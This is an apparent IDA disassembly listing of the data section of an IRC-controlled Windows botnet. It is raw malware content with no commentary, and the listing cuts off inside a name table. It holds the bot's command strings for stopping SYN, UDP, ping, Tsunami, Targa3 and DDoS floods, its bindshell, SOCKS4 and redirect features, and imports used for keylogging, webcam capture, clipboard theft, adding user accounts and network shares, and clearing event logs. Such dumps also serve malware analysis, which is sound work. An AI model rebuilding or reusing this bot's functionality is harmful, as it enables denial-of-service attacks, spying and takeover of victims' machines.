aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1483o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Eo
align 4
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1459o
align 4
dword_42CAFC dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1430o
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1407o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DEo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B5o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Co
unk_42CB44 db 2Dh ; - ; DATA XREF: sub_401ACD+1372o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42CB78 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1337o
; sub_401ACD+13D3o
dword_42CB88 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1332o
; sub_401ACD+13CEo
dword_42CB98 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1319o
; sub_401ACD+13AAo
dword_42CBA8 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1314o
; sub_401ACD+13A5o
dword_42CBB8 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B9o
; sub_401ACD+1425o
dword_42CBC4 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B4o
; sub_401ACD+1420o
dword_42CBD0 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo
; sub_401ACD+13FCo
dword_42CBDC dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1296o
; sub_401ACD+13F7o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1236o
align 4
dword_42CBF4 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Bo
; sub_401ACD+12F8o
dword_42CC00 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1226o
; sub_401ACD+12F3o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Do
align 4
dword_42CC18 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1202o
; sub_401ACD+12DAo
dword_42CC28 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FDo
; sub_401ACD+12D5o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E4o
align 4
dword_42CC44 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D9o
; sub_401ACD+1358o
dword_42CC54 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D4o
; sub_401ACD+1353o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BBo
align 10h
dword_42CC70 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o
; sub_401ACD+127Ao
dword_42CC7C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11ABo
; sub_401ACD+1275o
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1192o
dword_42CC90 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1187o
; sub_401ACD+125Co
dword_42CC9C dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1182o
; sub_401ACD+1257o
dword_42CCA8 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1169o
dword_42CCB4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Eo
dword_42CCC4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1159o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1140o
align 4
dword_42CCE4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o
dword_42CCF0 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1130o
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1117o
dword_42CD04 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Co
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EEo
align 10h
dword_42CD20 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E3o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C5o
align 4
dword_42CD3C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BDo
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Fo
align 4
aS4 db 's4',0 ; DATA XREF: sub_401ACD+108Ao
align 4
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1075o
align 4
dword_42CD64 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1053o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Eo
; sub_401ACD+10B8o ...
align 10h
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1035o
align 10h
aBd db 'bd',0 ; DATA XREF: sub_401ACD+1020o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Bo
align 10h
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF6o
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE1o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCCo
; sub_401ACD+2D6Ao
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB7o
; sub_401ACD+2D59o
align 10h
aSt db 'st',0 ; DATA XREF: sub_401ACD+FA2o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Do
align 10h
aDed db 'ded',0 ; DATA XREF: sub_401ACD+F78o
aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F63o
align 10h
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Eo
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F39o
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F24o
align 10h
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Fo
align 4
aD: ; DATA XREF: sub_401ACD+EFAo
; ___:00438314o ...
unicode 0, <d>,0
aDie db 'die',0 ; DATA XREF: sub_401ACD+EE5o
aRn db 'rn',0 ; DATA XREF: sub_401ACD+ED0o
align 4
aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB8o
a63 db '63',0 ; DATA XREF: sub_401ACD+D85o
align 10h
asc_42CE10: ; DATA XREF: sub_401ACD+D5Do
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D20o
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D15o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D04o
align 10h
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE8o
align 4
aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD7o
align 10h
aMe db '$me',0 ; DATA XREF: sub_401ACD+CC5o
aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C57o
aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B93o
align 10h
asc_42CE50: ; DATA XREF: sub_401ACD+ABBo
; ___:0043832Co ...
unicode 0, <l>,0
unk_42CE54 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42CE88 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42CEB8 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0
align 10h
unk_42CEF0 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o
align 4
unk_42CF18 db 2Dh ; - ; DATA XREF: sub_401ACD+938o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42CF5C db 2Dh ; - ; DATA XREF: sub_401ACD+920o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42CF98 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+90Fo
dd 0A0Dh
dword_42CFB0 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo
dword_42CFB8 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8D0o
dd 0D017325h, 0Ah
dword_42CFD4 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo
dword_42CFE0 dd 23h ; DATA XREF: sub_401ACD+816o
; sub_40CA80+1Bo
unk_42CFE4 db 2Dh ; - ; DATA XREF: sub_401ACD+785o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o
; sub_401ACD+995o ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo
align 10h
dword_42D020 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o
dword_42D028 dd 323333h ; DATA XREF: sub_401ACD+64Bo
; sub_401ACD+ADDo ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o
; sub_409A73+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do
; sub_409A73+16o
unk_42D03C db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 10h
unk_42D060 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
a353 db '353',0 ; DATA XREF: sub_401ACD+574o
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o
align 4
aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o
; sub_401ACD+5E9o
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+60Do
unk_42D0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2EBDo ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7C8Fo ...
align 4
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_4177D0:loc_417838o
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3B7o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_4177D0+50o
align 10h
asc_42D120: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7DAEo
unicode 0, <!>,0
asc_42D124: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E5Do ...
unicode 0, < >,0
asc_42D128 db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_402602o
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B13:loc_40A77Do
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B13+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B13+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B13+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B13+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B13+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o
align 10h
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B13:loc_40A6DFo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B13+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B13+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B13:loc_40A695o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do
align 10h
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B13:loc_40A621o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B13+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B13:loc_40A5D7o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B13:loc_40A58Do
align 10h
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B13+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo
; sub_4185A5+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B13+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B13+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B13+9C5o
align 10h
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B13+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B13+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo
align 10h
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B13+984o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B13+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B13+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B13:loc_40A471o
; sub_4185A5+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B13+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B13+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B13+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B13:loc_40A412o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o
align 10h
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B13+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o
align 10h
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B13:loc_40A2F2o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B13+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B13+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B13+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B13+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409B13+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B13+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B13+658o
align 10h
aAccept db 'accept',0 ; DATA XREF: sub_409B13+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409B13+63Eo
align 10h
aSelect db 'select',0 ; DATA XREF: sub_409B13+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409B13+629o
align 10h
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B13+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409B13+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409B13+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409B13+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409B13+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409B13+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409B13+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B13+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B13+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_409B13+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B13+588o
aSocket db 'socket',0 ; DATA XREF: sub_409B13+57Bo
align 10h
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B13+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B13+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B13+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B13+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B13+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B13+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B13+525o
align 10h
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B13+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B13+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B13+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B13+487o
align 10h
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B13+47Ao
align 10h
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B13+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B13+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B13:loc_409F40o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B13:loc_409F18o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo
align 10h
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B13+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409B13+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B13+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B13+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B13:loc_409E6Ao
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o
align 10h
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B13+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B13+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B13+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B13+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B13+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B13+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B13+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B13:loc_409D72o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B13+20Do
align 10h
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B13+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo
align 10h
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B13+1A0o
align 10h
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B13+193o
align 10h
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B13+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B13+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B13+15Fo
align 10h
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B13+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B13+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B13:loc_409C48o
; sub_424D78+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo
align 10h
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B13+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B13+79o
align 10h
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409B13+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B13+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B13+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B13+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B13+Ao
align 4
unk_42DA28 db 2Dh ; - ; DATA XREF: sub_40A7CF+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o
align 10h
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o
align 10h
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o
align 10h
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o
align 4
a_: ; DATA XREF: sub_40F96B+252o
unicode 0, <.>,0
unk_42DBB8 db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40ABF1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42DBE8 db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40ABBFo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42DC18 db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40AB8Bo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_42DC3C db 2Dh ; - ; DATA XREF: sub_40AB32+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC10+46o
; sub_40BFEC+38o
align 8
aReal db 'real',0
align 10h
dd 0
dword_42DC84 dd 0 ; DATA XREF: sub_40B08E+7o
off_42DC88 dd offset sub_40ACB6 ; DATA XREF: sub_40B08E+49r
aConst db 'const',0
align 8
dd 1, 40AD23h, 7474656Ch, 7265h, 0
dd 2, 40AD81h, 706D6F63h, 2 dup(0)
dd 3, 40ADCEh, 6E756F63h, 797274h, 0
dd 4, 40AE6Ch, 736Fh, 2 dup(0)
dd 5, 40AEE1h
off_42DCF0 dd offset aAbdulrazak ; DATA XREF: sub_40ACB6+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
